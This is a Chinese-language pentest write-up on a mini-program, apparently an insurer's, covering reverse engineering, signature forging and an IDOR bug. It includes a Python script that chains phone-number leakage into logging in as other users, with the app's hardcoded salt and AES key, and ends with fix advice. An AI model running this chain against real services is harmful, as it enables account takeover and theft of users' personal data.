死磕某小程序
字数 1280 2025-08-19 12:42:10

小程序渗透测试实战:逆向分析与越权登录漏洞挖掘

前言

本文记录了一个针对某小程序的完整渗透测试过程,涉及小程序逆向、加密算法分析、接口安全测试和越权登录漏洞挖掘。通过详细的技术分析,展示了如何突破小程序的安全防护机制,最终实现越权登录其他用户账户。

0x00 环境准备

  1. 抓包环境搭建

    • 使用Burp Suite或Fiddler等代理工具拦截小程序网络请求
    • 配置手机或模拟器的代理设置
  2. 小程序逆向

    • 使用工具获取小程序包(wxapkg)
    • 反编译小程序代码
    • 分析关键业务逻辑和加密函数

0x01 登录流程分析

1. 登录请求加密分析

拦截登录请求包发现数据被加密,关键加密流程如下:

  1. 加密函数定位:通过逆向找到Encrypt函数

  2. 密钥获取方式

    key = wx.getStorageSync("key");  // 从本地存储获取密钥
    key = g(e);  // 通过g函数处理获得最终密钥
    
  3. 密钥来源

    • 从特定接口的返回包中获取nonFixedSaxfixedSax参数
    • 这些参数用于生成最终加密密钥

2. 签名机制分析

请求中存在签名验证机制(sign),构造流程:

  1. 添加两个额外参数:

    • saltValue: 固定值"c3Kx$0i67sds#"
    • timestamp: 当前时间戳
  2. 参数排序:

    • 对所有参数按键名首字母进行大小写敏感排序
  3. 签名生成:

    • 将排序后的JSON字符串进行AES加密
    • 加密结果转换为16进制
    • 对16进制结果进行MD5哈希并转为大写

3. 关键JavaScript函数

function AES_Encrypt(word) {
    var srcs = CryptoJS.enc.Utf8.parse(word);
    var aaa=CryptoJS.enc.Hex.stringify(srcs);
    return aaa.toString();
}

function yierjiami(ra) {
    const jsonStr = ra;
    const jsonObj = JSON.parse(jsonStr);
    jsonObj.saltValue = "c3Kx$0i67sds#";
    jsonObj.timestamp = Date.now().toString();
    
    const sortedJsonObj = sortObjectKeys(jsonObj);
    const sortedJsonStr = JSON.stringify(sortedJsonObj);
    
    console.log(sortedJsonStr);
    var aaa=AES_Encrypt(sortedJsonStr);
    return [r(aaa).toUpperCase(),jsonObj.timestamp];
}

0x02 漏洞挖掘过程

1. 越权登录测试

  1. 初步尝试

    • 修改用户ID尝试登录其他账户
    • 发现返回"请求过期"错误,表明签名验证有效
  2. 签名绕过

    • 分析签名生成算法
    • 使用Python的execjs调用JavaScript函数生成有效签名
    • 确保timestamp与签名匹配

2. 用户信息泄露接口发现

  1. 接口枚举

    • 通过逆向分析找到可能的用户信息查询接口
    • 构造参数列表(userid、id等)进行爆破测试
  2. 敏感接口发现

    • 找到可通过id查询手机号的接口:
      https://xxx.xxx.com.cn/Pacificlife/myConsumer/detail
      
    • 请求示例:
      {
          "id": "111"
      }
      

3. 完整攻击链构建

  1. 攻击步骤

    • 通过userid和签名获取手机号
    • 对手机号进行AES加密
    • 使用加密后的手机号和userid获取有效token
    • 使用该token替换原有token实现越权登录
  2. Python实现

import execjs
import requests
import json
import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# JavaScript加密函数
md5_js = """
// 此处包含完整的JavaScript加密函数
"""

def aes_ecb_encrypt_hex(plaintext, key):
    cipher = AES.new(key, AES.MODE_ECB)
    padded_plaintext = pad(plaintext.encode(), AES.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return binascii.hexlify(ciphertext).decode()

# 第一步:通过ID获取手机号
id = 111
content = '{"id":"%s"}' % id
ctx = execjs.compile(md5_js)
sign, time = ctx.call('yierjiami', content)

headers = {
    "syscode": "TXQMP",
    "charset": "utf-8",
    "identify": "e4750356-9f8e-4a63-bdc3-80aca36699b6",
    "sign": sign,
    "User-Agent": "Mozilla/5.0...",
    "content-type": "application/json",
    "token": "eyJhbGciOiJIUzUxMiJ9...",
    "Accept-Encoding": "gzip, deflate",
    "timestamp": time
}

response = requests.get("https://xxx.xxx.com.cn/Pacificlife/myConsumer/detail", 
                      json.loads(content), headers=headers, verify=False)
phone = json.loads(response.text)['data']['secPhone']

# 第二步:加密手机号
key_hex = b'3631475463441074'
ciphertext = aes_ecb_encrypt_hex(phone, key_hex)

# 第三步:获取登录token
content = '{"id":"%s","phone":"%s","name":"","salesCode":"","password":"","type":"1"}' % (id, ciphertext)
sign, time = ctx.call('yierjiami', content)

headers['sign'] = sign
headers['timestamp'] = time

response = requests.post("https://xxx.xxx.com.cn/Pacificlife/consumer/login", 
                        data=json.dumps(json.loads(content)), 
                        headers=headers, verify=False)
token = json.loads(response.text)['data']['token']

0x03 漏洞修复建议

  1. 接口权限控制

    • 严格限制用户信息查询接口的访问权限
    • 确保用户只能查询自己的信息
  2. 加密改进

    • 使用更安全的密钥管理方案,避免密钥硬编码或可预测
    • 考虑使用非对称加密或更复杂的密钥派生函数
  3. 签名机制增强

    • 引入随机数防止重放攻击
    • 增加请求有效性验证,如IP限制、请求频率限制等
  4. 敏感信息保护

    • 避免在接口中直接返回用户敏感信息
    • 对必要返回的敏感信息进行脱敏处理
  5. 登录流程安全

    • 增加多因素认证
    • 实现完善的会话管理机制

总结

本案例展示了小程序安全测试的完整流程,从逆向分析到漏洞利用。关键点在于:

  1. 深入分析加密算法和签名机制
  2. 通过接口枚举发现信息泄露漏洞
  3. 构建完整的攻击链实现越权登录
  4. 自动化脚本编写提高测试效率

这种类型的漏洞危害性高,开发人员应重视接口权限控制和加密算法的安全性。

小程序渗透测试实战:逆向分析与越权登录漏洞挖掘 前言 本文记录了一个针对某小程序的完整渗透测试过程,涉及小程序逆向、加密算法分析、接口安全测试和越权登录漏洞挖掘。通过详细的技术分析,展示了如何突破小程序的安全防护机制,最终实现越权登录其他用户账户。 0x00 环境准备 抓包环境搭建 使用Burp Suite或Fiddler等代理工具拦截小程序网络请求 配置手机或模拟器的代理设置 小程序逆向 使用工具获取小程序包(wxapkg) 反编译小程序代码 分析关键业务逻辑和加密函数 0x01 登录流程分析 1. 登录请求加密分析 拦截登录请求包发现数据被加密,关键加密流程如下: 加密函数定位 :通过逆向找到 Encrypt 函数 密钥获取方式 : 密钥来源 : 从特定接口的返回包中获取 nonFixedSax 和 fixedSax 参数 这些参数用于生成最终加密密钥 2. 签名机制分析 请求中存在签名验证机制( sign ),构造流程: 添加两个额外参数: saltValue : 固定值"c3Kx$0i67sds#" timestamp : 当前时间戳 参数排序: 对所有参数按键名首字母进行大小写敏感排序 签名生成: 将排序后的JSON字符串进行AES加密 加密结果转换为16进制 对16进制结果进行MD5哈希并转为大写 3. 关键JavaScript函数 0x02 漏洞挖掘过程 1. 越权登录测试 初步尝试 : 修改用户ID尝试登录其他账户 发现返回"请求过期"错误,表明签名验证有效 签名绕过 : 分析签名生成算法 使用Python的execjs调用JavaScript函数生成有效签名 确保timestamp与签名匹配 2. 用户信息泄露接口发现 接口枚举 : 通过逆向分析找到可能的用户信息查询接口 构造参数列表(userid、id等)进行爆破测试 敏感接口发现 : 找到可通过id查询手机号的接口: 请求示例: 3. 完整攻击链构建 攻击步骤 : 通过userid和签名获取手机号 对手机号进行AES加密 使用加密后的手机号和userid获取有效token 使用该token替换原有token实现越权登录 Python实现 : 0x03 漏洞修复建议 接口权限控制 : 严格限制用户信息查询接口的访问权限 确保用户只能查询自己的信息 加密改进 : 使用更安全的密钥管理方案,避免密钥硬编码或可预测 考虑使用非对称加密或更复杂的密钥派生函数 签名机制增强 : 引入随机数防止重放攻击 增加请求有效性验证,如IP限制、请求频率限制等 敏感信息保护 : 避免在接口中直接返回用户敏感信息 对必要返回的敏感信息进行脱敏处理 登录流程安全 : 增加多因素认证 实现完善的会话管理机制 总结 本案例展示了小程序安全测试的完整流程,从逆向分析到漏洞利用。关键点在于: 深入分析加密算法和签名机制 通过接口枚举发现信息泄露漏洞 构建完整的攻击链实现越权登录 自动化脚本编写提高测试效率 这种类型的漏洞危害性高,开发人员应重视接口权限控制和加密算法的安全性。